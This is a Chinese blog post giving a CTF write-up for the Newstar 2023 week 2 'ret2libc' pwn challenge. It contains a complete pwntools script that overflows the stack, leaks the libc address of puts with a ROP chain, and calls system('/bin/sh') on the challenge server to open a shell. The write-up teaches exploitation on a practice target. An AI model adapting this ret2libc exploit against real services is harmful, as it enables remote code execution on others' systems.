首页 > 其他分享 > Newstar CTF 2023 week2 pwn

Newstar CTF 2023 week2 pwn

时间:2023-10-17 16:36:11浏览次数:37  
标签:p64 puts libc ret CTF pwn week2 payload addr

1.ret2libc

image.png

发现存在pop rdi
image.png

观察main函数,可以利用puts函数泄露libc

from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
elf = ELF('/home/miyu/Desktop/ret2libc')
p = remote("node4.buuoj.cn", 28784)
pop_ret_rdi = 0x400763
ret = 0x400506
put_got = elf.got['puts']
put_plt = elf.plt['puts']
main_addr = 0x400698
offset = 0x20 + 8
payload = b'a' * offset + p64(pop_ret_rdi) + p64(put_got) + p64(put_plt) + p64(main_addr)
p.sendline(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc.dump("system") + libc_base
binsh_addr = libc.dump("str_bin_sh") + libc_base
Payload = b'a' * offset + p64(ret) + p64(pop_ret_rdi) + p64(binsh_addr) + p64(system_addr) 
p.sendline(Payload)
p.interactive()

64位用puts泄露libc
第一次payload泄露libc
payload =b'A'*(0x20 +8) +p64(rdi_addr) +p64(elf.got['puts']) +p64(elf.plt["puts"]) +p64(main_addr)

第二次payload得shell
payload=b'A'*(0x20 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)

libc版本选择1,得到flag

标签:p64,puts,libc,ret,CTF,pwn,week2,payload,addr
From: https://www.cnblogs.com/Smera1d0/p/17770048.html

相关文章

  • 【NSSCTF逆向】【2023题目】《润!》
    题目解法这道题蛮搞的,不算简单。刚开始拿到这道题运行一下有些信息,是一道迷宫题,可能flag是我们输入的路线吧?先拿exeinfo来看看告诉我有壳,但是不要用upx-d来脱壳,结合题目的标签,知道这题有一个魔改upx壳。硬脱不行。说实话我对upx的了解很皮毛,网上搜了搜upx壳的详细源......
  • newstar week2
    REPZthon发现是python写的,先用pyinstxtractor解包,然后将PZthon.pyc用pycdc反编译得到源码#SourceGeneratedwithDecompyle++#File:PZthon.pyc(Python3.9)defhello():art='\n___......
  • moectf wp
    REReverse入门指北if(*(_DWORD*)v7==13)sub_401082(aMoectfF1rstSt3,v6);aMoectfF1rstSt3db'moectf{F1rst_St3p_1s_D0ne}',0Ah,0base_64pycdc下载编译发现是base64变种http://web.chacuo.net/netbasex把索引表复制进去解密拿到flagUPX!exeinfope中看......
  • shctf week1 wp
    REez_asm程序的逻辑大概是把输入的数据flag按字节^0x1E-0x0A一遍,然后输出,所以只需要置反一下先+0x0A然后再^0x1e就能求出flag.text:0000000000401566loc_401566:;CODEXREF:main+65↓j.text:0000000......
  • [SWPUCTF 2021 新生赛]老鼠走迷宫(详细版
    附件下载https://wwvc.lanzouj.com/iYLez1br84jg解题思路用pyinstxtrator解析exe重点:将无后缀的5先修改后缀为pyc,然后随便找一个pyc文件补齐5.pyc的前16位十六进制数值(这道题以struct.pyc为例)将.pyc反编译为.py找到maze,从而找到最短路径改后缀下载附件,拿到一个无后缀的......
  • [MRCTF2020]Ezpop
    原理反序列化解题过程记得tostring的触发方式!还有urlencode只要是通过get请求,参数记得url编码https://blog.csdn.net/pakho_C/article/details/126057111......
  • [LitCTF 2023]enbase64
    这是一个将flag换base64表之后加密的代码附件下载https://wwvc.lanzouj.com/iwZuF1bmzehg查壳无壳,32位分析丢入ida32,找到main函数F5int__cdeclmain(intargc,constchar**argv,constchar**envp){charSource[61];//[esp+1Fh][ebp-81Dh]BYREFcharv5......
  • 2023柏鹭杯pwn wp
    PWN博客eval漏洞点对数组模拟栈的那个栈顶没做下溢校验,先输入符号可以构成溢出点+200/2+(target_offset-100)这样输入即可将栈顶迁移到任意位置难点需要逆向整个模拟栈的结构可以配合动态调试得出模拟栈结构addr+00addr+1符号位addr+20addr+3栈顶偏移addr+4......
  • GDA CTF应用方向:牛刀小试ONE
    简介作者:梦幻的彼岸测试程序来源:https://github.com/num1r0/android_crackmes本篇文章涉及工具:GDAcrackme_0x01通过快捷按钮进入APK入口点进行分析,如下图所示:入口点代码代码解析这段代码定义了一个名为MainActivity的Android应用程序类,它继承自AppCompatActivity。此......
  • CTFer blogs--Web-fileinclude
    本题来源攻防世界解题思路:首先分析代码,将cookie中‘language’的值传入lan在后续又使用include调用了lan这个变量,因此可以从此处写入读取flag.php的payload可以使用burpsuite进行抓包后添加cookie值name:languagevalue:php://filter/read=convert.base64-encode/resource=/var......